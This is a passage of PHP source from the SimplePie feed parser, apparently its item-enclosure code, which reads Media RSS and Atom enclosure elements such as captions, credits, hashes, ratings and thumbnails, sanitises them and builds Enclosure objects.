= null; $copyrights = null; $credits = null; $description = null; $hashes = null; $keywords = null; $player = null; $ratings = null; $restrictions = null; $thumbnails = null; $title = null; // Start checking the attributes of media:content if (isset($content['attribs']['']['bitrate'])) { $bitrate = $this->sanitize($content['attribs']['']['bitrate'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['channels'])) { $channels = $this->sanitize($content['attribs']['']['channels'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['duration'])) { $duration = $this->sanitize($content['attribs']['']['duration'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $duration = $duration_parent; } if (isset($content['attribs']['']['expression'])) { $expression = $this->sanitize($content['attribs']['']['expression'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['framerate'])) { $framerate = $this->sanitize($content['attribs']['']['framerate'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['height'])) { $height = $this->sanitize($content['attribs']['']['height'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['lang'])) { $lang = $this->sanitize($content['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['fileSize'])) { $length = ceil($content['attribs']['']['fileSize']); } if (isset($content['attribs']['']['medium'])) { $medium = $this->sanitize($content['attribs']['']['medium'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['samplingrate'])) { $samplingrate = $this->sanitize($content['attribs']['']['samplingrate'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['type'])) { $type = $this->sanitize($content['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['width'])) { $width = $this->sanitize($content['attribs']['']['width'], SIMPLEPIE_CONSTRUCT_TEXT); } $url = $this->sanitize($content['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); // Checking the other optional media: elements. Priority: media:content, media:group, item, channel // CAPTIONS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'] as $caption) { $caption_type = null; $caption_lang = null; $caption_startTime = null; $caption_endTime = null; $caption_text = null; if (isset($caption['attribs']['']['type'])) { $caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['lang'])) { $caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['start'])) { $caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['end'])) { $caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['data'])) { $caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $captions[] = $this->registry->create('Caption', array($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text)); } if (is_array($captions)) { $captions = array_values(array_unique($captions)); } } elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'])) { foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'] as $caption) { $caption_type = null; $caption_lang = null; $caption_startTime = null; $caption_endTime = null; $caption_text = null; if (isset($caption['attribs']['']['type'])) { $caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['lang'])) { $caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['start'])) { $caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['end'])) { $caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['data'])) { $caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $captions[] = $this->registry->create('Caption', array($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text)); } if (is_array($captions)) { $captions = array_values(array_unique($captions)); } } else { $captions = $captions_parent; } // CATEGORIES if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'])) { foreach ((array) $content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'] as $category) { $term = null; $scheme = null; $label = null; if (isset($category['data'])) { $term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($category['attribs']['']['scheme'])) { $scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $scheme = 'http://search.yahoo.com/mrss/category_schema'; } if (isset($category['attribs']['']['label'])) { $label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT); } $categories[] = $this->registry->create('Category', array($term, $scheme, $label)); } } if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'])) { foreach ((array) $group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'] as $category) { $term = null; $scheme = null; $label = null; if (isset($category['data'])) { $term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($category['attribs']['']['scheme'])) { $scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $scheme = 'http://search.yahoo.com/mrss/category_schema'; } if (isset($category['attribs']['']['label'])) { $label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT); } $categories[] = $this->registry->create('Category', array($term, $scheme, $label)); } } if (is_array($categories) && is_array($categories_parent)) { $categories = array_values(array_unique(array_merge($categories, $categories_parent))); } elseif (is_array($categories)) { $categories = array_values(array_unique($categories)); } elseif (is_array($categories_parent)) { $categories = array_values(array_unique($categories_parent)); } // COPYRIGHTS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'])) { $copyright_url = null; $copyright_label = null; if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'])) { $copyright_url = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'])) { $copyright_label = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $copyrights = $this->registry->create('Copyright', array($copyright_url, $copyright_label)); } elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'])) { $copyright_url = null; $copyright_label = null; if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'])) { $copyright_url = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'])) { $copyright_label = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $copyrights = $this->registry->create('Copyright', array($copyright_url, $copyright_label)); } else { $copyrights = $copyrights_parent; } // CREDITS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'] as $credit) { $credit_role = null; $credit_scheme = null; $credit_name = null; if (isset($credit['attribs']['']['role'])) { $credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($credit['attribs']['']['scheme'])) { $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $credit_scheme = 'urn:ebu'; } if (isset($credit['data'])) { $credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $credits[] = $this->registry->create('Credit', array($credit_role, $credit_scheme, $credit_name)); } if (is_array($credits)) { $credits = array_values(array_unique($credits)); } } elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'])) { foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'] as $credit) { $credit_role = null; $credit_scheme = null; $credit_name = null; if (isset($credit['attribs']['']['role'])) { $credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($credit['attribs']['']['scheme'])) { $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $credit_scheme = 'urn:ebu'; } if (isset($credit['data'])) { $credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $credits[] = $this->registry->create('Credit', array($credit_role, $credit_scheme, $credit_name)); } if (is_array($credits)) { $credits = array_values(array_unique($credits)); } } else { $credits = $credits_parent; } // DESCRIPTION if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'])) { $description = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'])) { $description = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $description = $description_parent; } // HASHES if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'] as $hash) { $value = null; $algo = null; if (isset($hash['data'])) { $value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($hash['attribs']['']['algo'])) { $algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $algo = 'md5'; } $hashes[] = $algo.':'.$value; } if (is_array($hashes)) { $hashes = array_values(array_unique($hashes)); } } elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'])) { foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'] as $hash) { $value = null; $algo = null; if (isset($hash['data'])) { $value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($hash['attribs']['']['algo'])) { $algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $algo = 'md5'; } $hashes[] = $algo.':'.$value; } if (is_array($hashes)) { $hashes = array_values(array_unique($hashes)); } } else { $hashes = $hashes_parent; } // KEYWORDS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'])) { if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'])) { $temp = explode(',', $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)); foreach ($temp as $word) { $keywords[] = trim($word); } unset($temp); } if (is_array($keywords)) { $keywords = array_values(array_unique($keywords)); } } elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'])) { if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'])) { $temp = explode(',', $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)); foreach ($temp as $word) { $keywords[] = trim($word); } unset($temp); } if (is_array($keywords)) { $keywords = array_values(array_unique($keywords)); } } else { $keywords = $keywords_parent; } // PLAYER if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'])) { $player = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); } elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'])) { $player = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); } else { $player = $player_parent; } // RATINGS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'] as $rating) { $rating_scheme = null; $rating_value = null; if (isset($rating['attribs']['']['scheme'])) { $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $rating_scheme = 'urn:simple'; } if (isset($rating['data'])) { $rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $ratings[] = $this->registry->create('Rating', array($rating_scheme, $rating_value)); } if (is_array($ratings)) { $ratings = array_values(array_unique($ratings)); } } elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'])) { foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'] as $rating) { $rating_scheme = null; $rating_value = null; if (isset($rating['attribs']['']['scheme'])) { $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $rating_scheme = 'urn:simple'; } if (isset($rating['data'])) { $rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $ratings[] = $this->registry->create('Rating', array($rating_scheme, $rating_value)); } if (is_array($ratings)) { $ratings = array_values(array_unique($ratings)); } } else { $ratings = $ratings_parent; } // RESTRICTIONS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'] as $restriction) { $restriction_relationship = null; $restriction_type = null; $restriction_value = null; if (isset($restriction['attribs']['']['relationship'])) { $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($restriction['attribs']['']['type'])) { $restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($restriction['data'])) { $restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $restrictions[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value)); } if (is_array($restrictions)) { $restrictions = array_values(array_unique($restrictions)); } } elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'])) { foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'] as $restriction) { $restriction_relationship = null; $restriction_type = null; $restriction_value = null; if (isset($restriction['attribs']['']['relationship'])) { $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($restriction['attribs']['']['type'])) { $restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($restriction['data'])) { $restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $restrictions[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value)); } if (is_array($restrictions)) { $restrictions = array_values(array_unique($restrictions)); } } else { $restrictions = $restrictions_parent; } // THUMBNAILS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail) { $thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); } if (is_array($thumbnails)) { $thumbnails = array_values(array_unique($thumbnails)); } } elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'])) { foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail) { $thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); } if (is_array($thumbnails)) { $thumbnails = array_values(array_unique($thumbnails)); } } else { $thumbnails = $thumbnails_parent; } // TITLES if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'])) { $title = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'])) { $title = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $title = $title_parent; } $this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions, $categories, $channels, $copyrights, $credits, $description, $duration, $expression, $framerate, $hashes, $height, $keywords, $lang, $medium, $player, $ratings, $restrictions, $samplingrate, $thumbnails, $title, $width)); } } } } // If we have standalone media:content tags, loop through them. if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content'])) { foreach ((array) $this->data['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content'] as $content) { if (isset($content['attribs']['']['url']) || isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'])) { // Attributes $bitrate = null; $channels = null; $duration = null; $expression = null; $framerate = null; $height = null; $javascript = null; $lang = null; $length = null; $medium = null; $samplingrate = null; $type = null; $url = null; $width = null; // Elements $captions = null; $categories = null; $copyrights = null; $credits = null; $description = null; $hashes = null; $keywords = null; $player = null; $ratings = null; $restrictions = null; $thumbnails = null; $title = null; // Start checking the attributes of media:content if (isset($content['attribs']['']['bitrate'])) { $bitrate = $this->sanitize($content['attribs']['']['bitrate'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['channels'])) { $channels = $this->sanitize($content['attribs']['']['channels'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['duration'])) { $duration = $this->sanitize($content['attribs']['']['duration'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $duration = $duration_parent; } if (isset($content['attribs']['']['expression'])) { $expression = $this->sanitize($content['attribs']['']['expression'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['framerate'])) { $framerate = $this->sanitize($content['attribs']['']['framerate'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['height'])) { $height = $this->sanitize($content['attribs']['']['height'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['lang'])) { $lang = $this->sanitize($content['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['fileSize'])) { $length = ceil($content['attribs']['']['fileSize']); } if (isset($content['attribs']['']['medium'])) { $medium = $this->sanitize($content['attribs']['']['medium'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['samplingrate'])) { $samplingrate = $this->sanitize($content['attribs']['']['samplingrate'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['type'])) { $type = $this->sanitize($content['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['width'])) { $width = $this->sanitize($content['attribs']['']['width'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['url'])) { $url = $this->sanitize($content['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); } // Checking the other optional media: elements. Priority: media:content, media:group, item, channel // CAPTIONS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'] as $caption) { $caption_type = null; $caption_lang = null; $caption_startTime = null; $caption_endTime = null; $caption_text = null; if (isset($caption['attribs']['']['type'])) { $caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['lang'])) { $caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['start'])) { $caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['end'])) { $caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['data'])) { $caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $captions[] = $this->registry->create('Caption', array($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text)); } if (is_array($captions)) { $captions = array_values(array_unique($captions)); } } else { $captions = $captions_parent; } // CATEGORIES if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'])) { foreach ((array) $content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'] as $category) { $term = null; $scheme = null; $label = null; if (isset($category['data'])) { $term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($category['attribs']['']['scheme'])) { $scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $scheme = 'http://search.yahoo.com/mrss/category_schema'; } if (isset($category['attribs']['']['label'])) { $label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT); } $categories[] = $this->registry->create('Category', array($term, $scheme, $label)); } } if (is_array($categories) && is_array($categories_parent)) { $categories = array_values(array_unique(array_merge($categories, $categories_parent))); } elseif (is_array($categories)) { $categories = array_values(array_unique($categories)); } elseif (is_array($categories_parent)) { $categories = array_values(array_unique($categories_parent)); } else { $categories = null; } // COPYRIGHTS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'])) { $copyright_url = null; $copyright_label = null; if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'])) { $copyright_url = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'])) { $copyright_label = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $copyrights = $this->registry->create('Copyright', array($copyright_url, $copyright_label)); } else { $copyrights = $copyrights_parent; } // CREDITS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'] as $credit) { $credit_role = null; $credit_scheme = null; $credit_name = null; if (isset($credit['attribs']['']['role'])) { $credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($credit['attribs']['']['scheme'])) { $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $credit_scheme = 'urn:ebu'; } if (isset($credit['data'])) { $credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $credits[] = $this->registry->create('Credit', array($credit_role, $credit_scheme, $credit_name)); } if (is_array($credits)) { $credits = array_values(array_unique($credits)); } } else { $credits = $credits_parent; } // DESCRIPTION if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'])) { $description = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $description = $description_parent; } // HASHES if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'] as $hash) { $value = null; $algo = null; if (isset($hash['data'])) { $value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($hash['attribs']['']['algo'])) { $algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $algo = 'md5'; } $hashes[] = $algo.':'.$value; } if (is_array($hashes)) { $hashes = array_values(array_unique($hashes)); } } else { $hashes = $hashes_parent; } // KEYWORDS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'])) { if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'])) { $temp = explode(',', $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)); foreach ($temp as $word) { $keywords[] = trim($word); } unset($temp); } if (is_array($keywords)) { $keywords = array_values(array_unique($keywords)); } } else { $keywords = $keywords_parent; } // PLAYER if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'])) { $player = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); } else { $player = $player_parent; } // RATINGS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'] as $rating) { $rating_scheme = null; $rating_value = null; if (isset($rating['attribs']['']['scheme'])) { $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $rating_scheme = 'urn:simple'; } if (isset($rating['data'])) { $rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $ratings[] = $this->registry->create('Rating', array($rating_scheme, $rating_value)); } if (is_array($ratings)) { $ratings = array_values(array_unique($ratings)); } } else { $ratings = $ratings_parent; } // RESTRICTIONS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'] as $restriction) { $restriction_relationship = null; $restriction_type = null; $restriction_value = null; if (isset($restriction['attribs']['']['relationship'])) { $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($restriction['attribs']['']['type'])) { $restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($restriction['data'])) { $restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $restrictions[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value)); } if (is_array($restrictions)) { $restrictions = array_values(array_unique($restrictions)); } } else { $restrictions = $restrictions_parent; } // THUMBNAILS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail) { $thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); } if (is_array($thumbnails)) { $thumbnails = array_values(array_unique($thumbnails)); } } else { $thumbnails = $thumbnails_parent; } // TITLES if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'])) { $title = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $title = $title_parent; } $this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions, $categories, $channels, $copyrights, $credits, $description, $duration, $expression, $framerate, $hashes, $height, $keywords, $lang, $medium, $player, $ratings, $restrictions, $samplingrate, $thumbnails, $title, $width)); } } } foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link') as $link) { if (isset($link['attribs']['']['href']) && !empty($link['attribs']['']['rel']) && $link['attribs']['']['rel'] === 'enclosure') { // Attributes $bitrate = null; $channels = null; $duration = null; $expression = null; $framerate = null; $height = null; $javascript = null; $lang = null; $length = null; $medium = null; $samplingrate = null; $type = null; $url = null; $width = null; $url = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link)); if (isset($link['attribs']['']['type'])) { $type = $this->sanitize($link['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($link['attribs']['']['length'])) { $length = ceil($link['attribs']['']['length']); } // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor $this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width)); } } foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link') as $link) { if (isset($link['attribs']['']['href']) && !empty($link['attribs']['']['rel']) && $link['attribs']['']['rel'] === 'enclosure') { // Attributes $bitrate = null; $channels = null; $duration = null; $expression = null; $framerate = null; $height = null; $javascript = null; $lang = null; $length = null; $medium = null; $samplingrate = null; $type = null; $url = null; $width = null; $url = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link)); if (isset($link['attribs']['']['type'])) { $type = $this->sanitize($link['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if 